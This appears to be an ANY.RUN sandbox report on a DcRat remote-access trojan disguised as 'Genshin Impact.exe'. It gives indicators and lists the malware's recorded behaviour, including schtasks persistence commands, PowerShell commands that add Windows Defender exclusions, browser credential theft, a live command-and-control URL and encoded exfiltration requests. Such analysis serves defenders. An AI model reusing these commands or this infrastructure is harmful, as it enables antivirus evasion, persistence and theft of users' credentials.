File name:

Genshin Impact.exe

Full analysis: https://app.any.run/tasks/b96f80ce-2088-462b-86e3-d1001ce956ae
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: February 15, 2024, 03:03:52
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
evasion
dcrat
rat
backdoor
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

B4BB269011C062CB169969258AB0E1B9

SHA1:

6F17B1266EABFAD46EEE405F8245C604468A52C5

SHA256:

BD1D4E5E6380D4E4C398B3BD1F3BFC20FFA576C004773B1F637FD272B771C125

SSDEEP:

49152:ZFrKj5GTlv6xRC6cVUSAWuLhg1BEz3pkJTXVbgRdhmq/ZicwR9Jjx6SlzBlqTRtW:ZFrKdQ+RXlWENYTXVbe/ZicwR9tx62B3

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 2964)

    • Drops the executable file immediately after the start

      • Genshin Impact.exe (PID: 3216)
      • PortwebSaves.exe (PID: 120)

    • Adds path to the Windows Defender exclusion list

      • PortwebSaves.exe (PID: 120)

    • DCRAT has been detected (YARA)

      • lsass.exe (PID: 3876)

    • DCRAT has been detected (SURICATA)

      • lsass.exe (PID: 3876)

    • Steals credentials from Web Browsers

      • lsass.exe (PID: 3876)

    • Steals credentials

      • lsass.exe (PID: 3876)

    • Connects to the CnC server

      • lsass.exe (PID: 3876)

    • Actions looks like stealing of personal data

      • lsass.exe (PID: 3876)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • Genshin Impact.exe (PID: 3216)
      • PortwebSaves.exe (PID: 120)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2964)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2964)
      • PortwebSaves.exe (PID: 120)

    • Reads the Internet Settings

      • Genshin Impact.exe (PID: 3216)
      • wscript.exe (PID: 2964)
      • PortwebSaves.exe (PID: 120)
      • powershell.exe (PID: 980)
      • powershell.exe (PID: 880)
      • powershell.exe (PID: 2888)
      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 2724)
      • powershell.exe (PID: 1308)
      • powershell.exe (PID: 2100)
      • powershell.exe (PID: 1336)
      • lsass.exe (PID: 3876)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2964)
      • PortwebSaves.exe (PID: 120)

    • Reads security settings of Internet Explorer

      • Genshin Impact.exe (PID: 3216)
      • PortwebSaves.exe (PID: 120)

    • The process creates files with name similar to system file names

      • PortwebSaves.exe (PID: 120)

    • Executed via WMI

      • schtasks.exe (PID: 4044)
      • schtasks.exe (PID: 2064)
      • schtasks.exe (PID: 2292)
      • schtasks.exe (PID: 2896)
      • schtasks.exe (PID: 2208)
      • schtasks.exe (PID: 956)
      • schtasks.exe (PID: 2792)
      • schtasks.exe (PID: 696)
      • schtasks.exe (PID: 848)
      • schtasks.exe (PID: 2960)
      • schtasks.exe (PID: 2168)
      • schtasks.exe (PID: 3684)
      • schtasks.exe (PID: 2184)
      • schtasks.exe (PID: 2148)
      • schtasks.exe (PID: 3776)
      • schtasks.exe (PID: 2644)
      • schtasks.exe (PID: 1808)
      • schtasks.exe (PID: 1236)
      • schtasks.exe (PID: 1860)
      • schtasks.exe (PID: 1644)
      • schtasks.exe (PID: 1112)

    • Checks for external IP

      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)

    • Starts POWERSHELL.EXE for commands execution

      • PortwebSaves.exe (PID: 120)

    • Script adds exclusion path to Windows Defender

      • PortwebSaves.exe (PID: 120)

    • Using PowerShell to operate with local accounts

      • powershell.exe (PID: 880)
      • powershell.exe (PID: 980)
      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 2100)
      • powershell.exe (PID: 2888)
      • powershell.exe (PID: 1308)
      • powershell.exe (PID: 2724)
      • powershell.exe (PID: 1336)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 3556)

    • Reads browser cookies

      • lsass.exe (PID: 3876)

    • Loads DLL from Mozilla Firefox

      • lsass.exe (PID: 3876)

  • INFO

    • Checks supported languages

      • Genshin Impact.exe (PID: 3216)
      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)

    • Reads the computer name

      • Genshin Impact.exe (PID: 3216)
      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)

    • Reads the machine GUID from the registry

      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)

    • Reads Environment values

      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)

    • Reads product name

      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)

    • Creates files in the program directory

      • PortwebSaves.exe (PID: 120)

    • Create files in a temporary directory

      • PortwebSaves.exe (PID: 120)
      • lsass.exe (PID: 3876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(3876) lsass.exe
C2 (1)http://7777.cllt.nyashteam.ru/@wdHdzVGd
Options
MutexDCR_MUTEX-GJjaPoiuexaRW21vE3FV
savebrowsersdatatosinglefilefalse
ignorepartiallyemptydatafalse
cookiestrue
passwordstrue
formstrue
cctrue
historyfalse
telegramtrue
steamtrue
discordtrue
filezillatrue
screenshottrue
clipboardtrue
sysinfotrue
searchpath%UsersFolder% - Fast
Targetru
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:12:01 18:00:55+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 201216
InitializedDataSize: 114176
UninitializedDataSize: -
EntryPoint: 0x1ec40
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
86
Monitored processes
37
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start genshin impact.exe wscript.exe no specs cmd.exe no specs portwebsaves.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs cmd.exe no specs w32tm.exe no specs #DCRAT lsass.exe genshin impact.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
120"C:\winsessionnet\PortwebSaves.exe"C:\winsessionnet\PortwebSaves.exe
cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
1.1.1o
Modules
Images
c:\winsessionnet\portwebsaves.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
696schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Prefetch\ReadyBoot\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
848schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 11 /tr "'C:\winsessionnet\audiodg.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
880"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Migration\WTR\PortwebSaves.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—PortwebSaves.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
956schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\winsessionnet\lsass.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
980"powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\audiodg.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—PortwebSaves.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1112schtasks.exe /create /tn "PortwebSavesP" /sc MINUTE /mo 13 /tr "'C:\Windows\Migration\WTR\PortwebSaves.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1236schtasks.exe /create /tn "PortwebSaves" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\PortwebSaves.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1308"powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\lsass.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—PortwebSaves.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1336"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Prefetch\ReadyBoot\csrss.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—PortwebSaves.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
21 708
Read events
21 595
Write events
113
Delete events
0

Modification events

(PID) Process:(3216) Genshin Impact.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3216) Genshin Impact.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3216) Genshin Impact.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3216) Genshin Impact.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2964) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2964) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2964) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2964) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(120) PortwebSaves.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PortwebSaves_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(120) PortwebSaves.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PortwebSaves_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
7
Suspicious files
42
Text files
10
Unknown types
5

Dropped files

PID
Process
Filename
Type
3216Genshin Impact.exeC:\winsessionnet\kudjk2JZBqNfIbV0H.battext
MD5:B57373910E83F55B01DA9606C160D606
SHA256:EED136C4973C9C837BA407C3C8DC5D70B9AD30C213628AB93C29649731207065
3216Genshin Impact.exeC:\winsessionnet\PortwebSaves.exeexecutable
MD5:AD823965FDA5D6901AB6A2BC0E153CEE
SHA256:2C9A19274F314A4F2F728C51DC117196F7C176C6952275E3BA58184A2D6A95D9
120PortwebSaves.exeC:\winsessionnet\audiodg.exeexecutable
MD5:AD823965FDA5D6901AB6A2BC0E153CEE
SHA256:2C9A19274F314A4F2F728C51DC117196F7C176C6952275E3BA58184A2D6A95D9
120PortwebSaves.exeC:\winsessionnet\6203df4a6bafc7text
MD5:F7BB6379B4C4646C23C2682E38FC955C
SHA256:D1EA9A815CB299CC9A2E1574C59440DE10BBB4685983B4D20B9062B4AA12CDC1
120PortwebSaves.exeC:\winsessionnet\42af1c969fbb7btext
MD5:5F39B156AD2ED63080CBFD6567ECD6DD
SHA256:FD52455C4EE702202808450010856399A465EC8BDC0B080D8181E30F9B687D7F
120PortwebSaves.exeC:\Program Files\PackageManagement\ProviderAssemblies\smss.exeexecutable
MD5:AD823965FDA5D6901AB6A2BC0E153CEE
SHA256:2C9A19274F314A4F2F728C51DC117196F7C176C6952275E3BA58184A2D6A95D9
120PortwebSaves.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\SearchFilterHost.exeexecutable
MD5:AD823965FDA5D6901AB6A2BC0E153CEE
SHA256:2C9A19274F314A4F2F728C51DC117196F7C176C6952275E3BA58184A2D6A95D9
120PortwebSaves.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\617403385cfa57text
MD5:CF3CA6B4842ACF83955291156A4617D5
SHA256:8CC881027A8AB0F4DBE159332E0C7D4F0E97CDCDD61174C294B3E68E3CC08406
120PortwebSaves.exeC:\Windows\Migration\WTR\PortwebSaves.exeexecutable
MD5:AD823965FDA5D6901AB6A2BC0E153CEE
SHA256:2C9A19274F314A4F2F728C51DC117196F7C176C6952275E3BA58184A2D6A95D9
120PortwebSaves.exeC:\Windows\Prefetch\ReadyBoot\886983d96e3d3etext
MD5:4A8311A41DB07AC76B9AF1C44CB0CD11
SHA256:E3A59567B071079FD87CF65937190252007BEC5E344C7D79CAA4DC162CD1A0EC
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
35
TCP/UDP connections
8
DNS requests
2
Threats
9

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
120
PortwebSaves.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
text
6 b
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?6bPhi3SxOdYE8hsiboB3F=wIY7vUbsmDZqqYHJQW1NgxK6Jy&cc94e78e3bda1f2269b01e133898fb04=e7fe83161c56c764f6c8620d4945ebb8&fdb24f392670a7714ac24c8e7509952b=QYycjMzMWN3UGZlNjYjFTOkdTNjNTYhhjZhNmY0EDM1AjN1EjZjZjM&6bPhi3SxOdYE8hsiboB3F=wIY7vUbsmDZqqYHJQW1NgxK6Jy
unknown
text
2.09 Kb
unknown
3876
lsass.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
text
6 b
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&5e79fff15169b7d3a3fa62efdb306b31=d1nIxMTNlhjNlJGNlNTN5ImNzEzYzQDM0ITM1cDMwkDOzUDNzQDMyMGZyIiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W&4a4a8831cb4723c7f5e3b65ea3eefbf9=d1nIiojI3MWMkBzNjJTYlZTMyIGNmFmMwYTZhNDZ1kTMlRmNykjIsISMzUTZ4YTZiRTZzUTOiZzMxM2M0ADNyETN3ADM5gzM1QzM0AjMjRmMiojIxQTZ5ITM2kTYjVmZzIGMyYWNyQmN2gjZ1MWY3YGNiZjIsICN5EjM3YDN5Q2YwQWNmZTOmVTNyUGOklDNwIWYyYTO0MjZ3IDOwU2NiojI5MmZiNTOhJjY2EDO4ImN5ITZ1EGM4EWN0EzMykTMxQmI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJFTNXpFdCNEZ5Z0RkRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJN1Vp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJp3YqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYxQGM3MmMhVmNxIjY0YWYyAjNlF2MkVTOxUGZ2ITOiwiI0UjZ5EWNlBTNmdDZ3AzNmJDZzYDMlRGZ3gTZllDZlZmN1kTOkFWOmJiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
104 b
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&4a4a8831cb4723c7f5e3b65ea3eefbf9=0VfiIiOiczYxQGM3MmMhVmNxIjY0YWYyAjNlF2MkVTOxUGZ2ITOiwiIyAjYxQmMwIDO4ITNwQWOhJWN3IGZ4EmNmdTZjhjMmRGMxcjN1gDNyIiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
2.09 Kb
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&e742462fe5d2ee0b9bfd69cf1aa9c77a=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